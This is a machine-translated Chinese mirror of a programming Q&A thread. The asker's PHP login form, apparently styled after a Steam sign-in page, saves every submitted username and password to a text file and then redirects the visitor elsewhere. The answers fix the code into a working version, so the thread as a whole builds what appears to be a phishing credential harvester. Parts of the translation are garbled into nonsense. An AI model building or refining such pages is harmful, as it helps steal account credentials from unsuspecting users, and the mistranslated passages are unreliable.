PHP保存表单输入和重定向

时间:2016-06-27 21:47:54

标签: php html

当您单击提交按钮时,我想将表单输入重定向并保存到文本文件中。没有表单动作,php可以工作,但只有空间才能写入文本文件。我也尝试使用javascript重定向,但它没有用。

<form action="https://www.google.com/" method="POST" name="logon" id="loginForm">

    <input class="textField" type="text" name="username" id="AccountName" autofocus="" maxlength="64">

    <input class="textField" type="password" name="password" id="AccountPassword" autocomplete="off" maxlength="64">

    <div id="login_btn_signin">

    <input class="btn_green_white_innerfade" type="submit"  name="submit" id="imageLogin" style="width:104px; height:34px; border:none; font-size: 15px;"   value="Sign in">

</form>
<?php

    // Open the text file
    $f = fopen("textfile.txt", "w");

    // Write text
    fwrite($f, $_POST["username"]);
    fwrite($f, " ");
    fwrite($f, $_POST["password"]); 

    // Close the text file
    fclose($f);

?>

2 个答案:

答案 0 :(得分:1)

您需要将action设置为页面的网址。现在您将表单数据发送到Google.com

<?php
if ($_SERVER['REQUEST_METHOD'] == 'POST')
{
    // Open the text file
    $f = fopen("textfile.txt", "w");

    // Write text
    fwrite($f, $_POST["username"]);
    fwrite($f, " ");
    fwrite($f, $_POST["password"]); 

    // Close the text file
    fclose($f);

    header('location: {URL TO REDIRECT TO}');
}

?>
<form action="{URL OF THIS PAGE}" method="POST" name="logon" id="loginForm">

    <input class="textField" type="text" name="username" id="AccountName" autofocus="" maxlength="64">

    <input class="textField" type="password" name="password" id="AccountPassword" autocomplete="off" maxlength="64">

    <div id="login_btn_signin">

    <input class="btn_green_white_innerfade" type="submit"  name="submit" id="imageLogin" style="width:104px; height:34px; border:none; font-size: 15px;"   value="Sign in">

</form>

答案 1 :(得分:-2)

当你在午餐时吃午餐时,每次都这样做:

// show html
// ERASE TEXT IN FILE

您应该使用if(),例如:

<form action="https://www.google.com/" method="POST" name="logon" id="loginForm">

    <input class="textField" type="text" name="username" id="AccountName" autofocus="" maxlength="64">

    <input class="textField" type="password" name="password" id="AccountPassword" autocomplete="off" maxlength="64">

    <div id="login_btn_signin">

    <input class="btn_green_white_innerfade" type="submit"  name="submit" id="imageLogin" style="width:104px; height:34px; border:none; font-size: 15px;"   value="Sign in">

</form>
<?php
    if($_POST['submit'] != '') // here it is
    {
    // Open the text file
    $f = fopen("textfile.txt", "w");

    // Write text
    fwrite($f, $_POST["username"]);
    fwrite($f, " ");
    fwrite($f, $_POST["password"]); 

    // Close the text file
    fclose($f);
    }

?>